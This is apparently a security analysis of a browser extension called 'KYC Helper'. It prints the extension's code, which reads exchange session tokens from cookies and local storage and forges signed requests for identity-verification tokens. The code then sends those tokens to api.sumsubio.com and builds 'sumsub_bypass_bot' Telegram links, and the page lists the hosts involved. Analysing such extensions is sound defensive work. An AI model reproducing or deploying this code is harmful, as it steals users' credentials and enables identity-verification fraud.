a=ff(a,b,c,d,M[12],7,1804603682);d=ff(d,a,b,c,M[13],12,-40341101);c=ff(c,d,a,b,M[14],17,-1502002290);b=ff(b,c,d,a,M[15],22,1236535329);          a=gg(a,b,c,d,M[1],5,-165796510);d=gg(d,a,b,c,M[6],9,-1069501632);c=gg(c,d,a,b,M[11],14,643717713);b=gg(b,c,d,a,M[0],20,-373897302);          a=gg(a,b,c,d,M[5],5,-701558691);d=gg(d,a,b,c,M[10],9,38016083);c=gg(c,d,a,b,M[15],14,-660478335);b=gg(b,c,d,a,M[4],20,-405537848);          a=gg(a,b,c,d,M[9],5,568446438);d=gg(d,a,b,c,M[14],9,-1019803690);c=gg(c,d,a,b,M[3],14,-187363961);b=gg(b,c,d,a,M[8],20,1163531501);          a=gg(a,b,c,d,M[13],5,-1444681467);d=gg(d,a,b,c,M[2],9,-51403784);c=gg(c,d,a,b,M[7],14,1735328473);b=gg(b,c,d,a,M[12],20,-1926607734);          a=hh(a,b,c,d,M[5],4,-378558);d=hh(d,a,b,c,M[8],11,-2022574463);c=hh(c,d,a,b,M[11],16,1839030562);b=hh(b,c,d,a,M[14],23,-35309556);          a=hh(a,b,c,d,M[1],4,-1530992060);d=hh(d,a,b,c,M[4],11,1272893353);c=hh(c,d,a,b,M[7],16,-155497632);b=hh(b,c,d,a,M[10],23,-1094730640);          a=hh(a,b,c,d,M[13],4,681279174);d=hh(d,a,b,c,M[0],11,-358537222);c=hh(c,d,a,b,M[3],16,-722521979);b=hh(b,c,d,a,M[6],23,76029189);          a=hh(a,b,c,d,M[9],4,-640364487);d=hh(d,a,b,c,M[12],11,-421815835);c=hh(c,d,a,b,M[15],16,530742520);b=hh(b,c,d,a,M[2],23,-995338651);          a=ii(a,b,c,d,M[0],6,-198630844);d=ii(d,a,b,c,M[7],10,1126891415);c=ii(c,d,a,b,M[14],15,-1416354905);b=ii(b,c,d,a,M[5],21,-57434055);          a=ii(a,b,c,d,M[12],6,1700485571);d=ii(d,a,b,c,M[3],10,-1894986606);c=ii(c,d,a,b,M[10],15,-1051523);b=ii(b,c,d,a,M[1],21,-2054922799);          a=ii(a,b,c,d,M[8],6,1873313359);d=ii(d,a,b,c,M[15],10,-30611744);c=ii(c,d,a,b,M[6],15,-1560198380);b=ii(b,c,d,a,M[13],21,1309151649);          a=ii(a,b,c,d,M[4],6,-145523070);d=ii(d,a,b,c,M[11],10,-1120210379);c=ii(c,d,a,b,M[2],15,718787259);b=ii(b,c,d,a,M[9],21,-343485551);          a=sa(a,A);b=sa(b,B);c=sa(c,C);d=sa(d,D);        }        return [a,b,c,d].map(v=>[0,8,16,24].map(s=>((v>>s)&0xff).toString(16).padStart(2,'0')).join('')).join('');      };      const getCookie = name => {        const m = document.cookie.match(new RegExp('(?:^|; )' + name.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + '=([^;]*)'));        return m ? decodeURIComponent(m[1]) : '';      };      let uToken = '', terminalCode = '';      try {        const raw = getCookie('WEEX_TOKEN_COOKIE_PRODUCTION');        if (raw) {          const parsed = JSON.parse(raw);          uToken = parsed?.bt_ccToken || '';        }      } catch {}      const ls = window.localStorage;      // terminalCode stored in weex::baseLocal JSON under "weex:terminalCode" key      try {        const base = JSON.parse(ls.getItem('weex::baseLocal') || '{}');        terminalCode = base['weex:terminalCode'] || '';      } catch {}      if (!terminalCode) terminalCode = 'ae7517d3f70939e37ebd1b01b3ff06ff'; // web fallback      // vs is generated fresh per request (random 32-char alphanumeric, same charset as weex WS vs)      const vsChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';      const vsBytes = crypto.getRandomValues(new Uint8Array(32));      const vs = Array.from(vsBytes).map(b => vsChars[b % vsChars.length]).join('');      const timestamp = Date.now();      const traceId = Array.from(crypto.getRandomValues(new Uint8Array(16))).map(b => b.toString(16).padStart(2, '0')).join('');      const xSig = md5('weex' + timestamp + vs + '1' + '2.0.2' + '' + terminalCode);      // Generate sidecar via sidecarManager WASM (webpack module 25833)      let sidecar = '';      try {        let __wReq__;        webpackChunk_N_E.push([[9999999], {}, r => { __wReq__ = r; }]);        if (__wReq__) {          const { sidecarManager } = __wReq__(25833);          sidecar = await sidecarManager.generateSignature({            timestamp, vs, appVersion: '2.0.2', terminalCode, terminalType: 1,          });        }      } catch {}      const res = await fetch('https://gateway2.janapw.com/v1/user/kyc/sumsub/token', {        method: 'POST',        headers: {          'accept': 'application/json, text/plain, */*',          'Content-Type': 'application/json',          'u-token': uToken,          'x-timestamp': String(timestamp),          'x-sig': xSig,          'traceid': traceId,          'appversion': '2.0.2',          'terminaltype': '1',          'language': 'en_US',          'locale': 'en_US',          'bundleid': '',          'vs': vs,          'terminalcode': terminalCode,          ...(sidecar ? { 'sidecar': sidecar } : {}),        },        body: JSON.stringify({})      });      const text = await res.text();      let data;      try { data = JSON.parse(text); } catch {}      if (data?.code === '00000' && data?.data?.accessToken) {        return { ok: true, token: data.data.accessToken };      }      return { ok: false, errorMessage: data?.msg || `HTTP ${res.status}` };    } catch (e) {      return { ok: false, errorMessage: e.message };    }  }

Other mode injects a helper and forwards the returned token

popup.js
  async function getOtherToken() {    const exchange = otherExchangeSelectEl.dataset.value;    getOtherTokenBtnEl.disabled = true;    getOtherTokenBtnEl.textContent = 'Getting...';    otherTokenRowEl.hidden = true;    otherTokenFieldEl.value = '';    otherCopyBtnEl.disabled = true;    otherGetLinkBtnEl.disabled = true;    otherGetLinkBtnEl.textContent = 'Get Link';    otherBotLinkHref = null;    try {      const [tab] = await chrome.tabs.query({ active: true, currentWindow: true });      if (!tab?.id || !tab?.url) throw new Error('No active tab');      let baseOrigin;      let inPageFn;      if (exchange === 'bitexen') {        const url = new URL(tab.url);        if (!url.hostname.includes('bitexen.com')) throw new Error('Open bitexen.com first');        baseOrigin = url.origin;        inPageFn = inPageBitexenGetToken;      } else if (exchange === 'bingx') {        const url = new URL(tab.url);        if (!url.hostname.includes('bingx.com')) throw new Error('Open bingx.com first');        baseOrigin = url.origin;        inPageFn = inPageBingXGetToken;      } else if (exchange === 'weex') {        const url = new URL(tab.url);        if (!url.hostname.includes('weex.com')) throw new Error('Open weex.com first');        baseOrigin = url.origin;        inPageFn = inPageWeexGetToken;      } else {        throw new Error('Unknown exchange');      }      const inj = await chrome.scripting.executeScript({        target: { tabId: tab.id },        world: 'MAIN',        func: inPageFn,        args: [baseOrigin]      });      const result = inj?.[0]?.result;      if (!result?.ok) throw new Error(result?.errorMessage || 'Failed to get token');      otherTokenFieldEl.value = result.token;      otherTokenRowEl.hidden = false;      otherCopyBtnEl.disabled = false;      setOtherStatus('Token obtained. Getting bot link...', 'ok');      try {        otherBotLinkHref = await makeBotLinkFromToken(result.token);        if (otherBotLinkHref) {          otherGetLinkBtnEl.disabled = false;        } else {          otherGetLinkBtnEl.textContent = 'Error';        }      } catch {        otherGetLinkBtnEl.textContent = 'Error';      }      setOtherStatus('Token obtained. Copy or get bot link.', 'ok');    } catch (e) {      setOtherStatus(e.message || 'Error getting token', 'err');    } finally {      getOtherTokenBtnEl.disabled = false;      getOtherTokenBtnEl.textContent = 'Get token';    }  }  getOtherTokenBtnEl.addEventListener('click', getOtherToken);

Shared deeplink POST and Telegram link construction

popup.js
  // API endpoint and token for shortening Sumsub access tokens  // This is a client-side API token intended for browser extension use  const DEEPLINK_API_URL = 'https://api.sumsubio.com/api/deeplink';  const DEEPLINK_API_TOKEN = '<redacted>'; // hardcoded client token redacted  async function shortenTokenInternal(paramType, paramValue) {    const tab = await getActiveTab();    const tabHost = tab?.url?.startsWith('http') ? new URL(tab.url).hostname : '';    const response = await fetch(DEEPLINK_API_URL, {      method: 'POST',      headers: {        'Content-Type': 'application/json',        'X-API-Token': DEEPLINK_API_TOKEN      },      body: JSON.stringify({        param_type: paramType,        param_value: paramValue,        host: tabHost      })    });        if (!response.ok) {      console.error(`Failed to shorten token: HTTP ${response.status} ${response.statusText}`);      throw new Error(`Failed to shorten token (HTTP ${response.status})`);    }        const data = await response.json();    if (!data.short_id) {      throw new Error('API response missing short_id');    }    return data.short_id;  }  async function shortenToken(accessToken) {    try {      return await shortenTokenInternal('sumsub_access_token', accessToken);    } catch (e) {      console.error('Token shortening error:', e);      throw e;    }  }  async function shortenOnfidoToken(token, url) {    try {      const paramValue = `${token},${url}`;      return await shortenTokenInternal('onfido_access_token', paramValue);    } catch (e) {      console.error('Onfido token shortening error:', e);      throw e;    }  }  async function makeBotLinkFromToken(rawToken) {    if (!rawToken) {      throw new Error('Token is required');    }    try {      const shortId = await shortenToken(rawToken);      return `https://t.me/sumsub_bypass_bot?start=TOKEN_${shortId}`;    } catch (e) {      console.error('Failed to create bot link:', e);      return null;    }  }  async function makeBotLinkFromOnfido(token, url) {    if (!token) {      throw new Error('Token is required');    }    try {      const shortId = await shortenOnfidoToken(token, url);      return `https://t.me/sumsub_bypass_bot?start=ONFIDO_${shortId}`;    } catch (e) {      console.error('Failed to create Onfido bot link:', e);      return null;    }
Hosts involved in the Other exchange token flow
    • api.sumsubio.com

    Receives the final verification token plus active hostname through the deeplink request.

    • gateway2.janapw.com

    Receives the Weex Sumsub-token request with Weex authentication and device headers.

    • t.me

    Receives the user when the generated sumsub_bypass_bot Telegram start link is opened.

Where it sends data

Destinations our analysis observed KYC Helper contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.sumsubio.com

    KYC Helper sends data to api.sumsubio.com. No other extension we have analysed sends data here.

Updated 30 September 2026cibmjkiohfckndgpoilmeifakgnnobhb